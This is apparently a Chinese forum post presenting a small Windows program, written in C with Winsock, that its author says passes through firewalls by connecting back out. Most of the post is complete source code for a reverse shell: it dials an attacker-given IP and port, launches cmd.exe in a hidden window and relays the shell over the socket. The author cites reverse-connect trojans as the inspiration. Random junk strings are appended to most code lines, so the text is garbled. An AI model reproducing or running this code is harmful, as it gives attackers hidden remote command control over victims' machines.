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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LqLhZBU9  
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/* ============================== Z7I\\M  
Rebound port in Windows NT yL %88,/  
By wind,2006/7 <cxe   
===============================*/ <cO `jK  
#include cRE6/qrXGg  
#include M)~sL1)  
-O\f y!  
#pragma comment(lib,"wsock32.lib") b&6lu4D  
R$`%<Y3)  
void OutputShell(); xDNXI01o  
SOCKET sClient; @hwNM#>`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M+I9k;N6&  
,/&|:PkS  
void main(int argc,char **argv) JNo[<SZb  
{ ^<_rE-k  
WSADATA stWsaData; t'Zv)Wu1E  
int nRet; ] Upr<!  
SOCKADDR_IN stSaiClient,stSaiServer; vl~HV8MAv  
4dy!2KZN  
if(argc != 3) P`avn  
{ -f*5lkO  
printf("Useage:\n\rRebound DestIP DestPort\n"); |;\pAZ2  
return; p W@Yr  
} [hV}$0#E[O  
]WK~`-3C^  
WSAStartup(MAKEWORD(2,2),&stWsaData); J50n E~  
cG&@PO]+.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;ik,6_/Y  
2B^WZlx  
stSaiClient.sin_family = AF_INET; kgI8PybY  
stSaiClient.sin_port = htons(0); !ST7@D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {9* l  
}$[@*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  T\#Gc4  
{ jrpki<D  
printf("Bind Socket Failed!\n"); 8n["/5,  
return; H^dw=kS  
} J#5V>7G  
hiv {A9a?  
stSaiServer.sin_family = AF_INET; _2{2Xb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \Rs9B .  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SYh>FF"  
-3 Sb%V\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]$#9B-uB  
{ SAdo9m'  
printf("Connect Error!");  ^"~r/@l  
return; t|s(V-Wq  
} 9{e/ V)  
OutputShell(); 1M b[S{  
} ObJ-XNcNH  
XMz*}B6GQ  
void OutputShell() ?XeaoD/  
{ !pC`vZG"  
char szBuff[1024]; |bhv7(_  
SECURITY_ATTRIBUTES stSecurityAttributes; *>2e4j]  
OSVERSIONINFO stOsversionInfo; BHiG3fP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ohs`[U=%~  
STARTUPINFO stStartupInfo; B`||4*  
char *szShell; ox_DEg7l  
PROCESS_INFORMATION stProcessInformation; R"l6|9tmP  
unsigned long lBytesRead; lEw;X78+  
|~#A?mK-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IVy<>xpt  
^Ku]8/ga  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l`uMtv/Wp  
stSecurityAttributes.lpSecurityDescriptor = 0; yo(MJ^=d  
stSecurityAttributes.bInheritHandle = TRUE; a:OMI  
_s<s14+od  
]')y(_{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 59p'U/|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IG7,-3  
6Q J.=.>b  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C]fX=~?bGQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _q}Cnp5  
stStartupInfo.wShowWindow = SW_HIDE; CI\yP@DQ4  
stStartupInfo.hStdInput = hReadPipe; J{\(Y#|rHs  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &['L7  
Bp@\p)P(  
GetVersionEx(&stOsversionInfo); &,3s2,1U(  
cLRzm9  
switch(stOsversionInfo.dwPlatformId) u+ hRaI;v  
{ .C &kWM&j  
case 1: <lNNT6[/r  
szShell = "command.com"; C<(qk_  
break; o4OB xHKy  
default: *]}F=dtR k  
szShell = "cmd.exe"; `'*4B_.  
break; rA^=;?7Q  
} ?6>*mdpl  
4q:8<*W=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V;^N:I\js  
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send(sClient,szMsg,77,0); +'+ Nr<  
while(1) XR 3 dG:  
{ >I<}:=   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I3b*sx$  
if(lBytesRead) uMpuS1  
{ +IWf~|s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '9zKaL  
send(sClient,szBuff,lBytesRead,0); dG8mE&$g  
} c5uC?b].  
else 6k![v@2R  
{ xB[W8gQ6fa  
lBytesRead=recv(sClient,szBuff,1024,0); GmE`YW  
if(lBytesRead<=0) break; H "5,To  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o3eaNYa  
} (+0(A777M  
} J7C?Z  
HG< z,gE 2  
return; -T i<H9OV  
}
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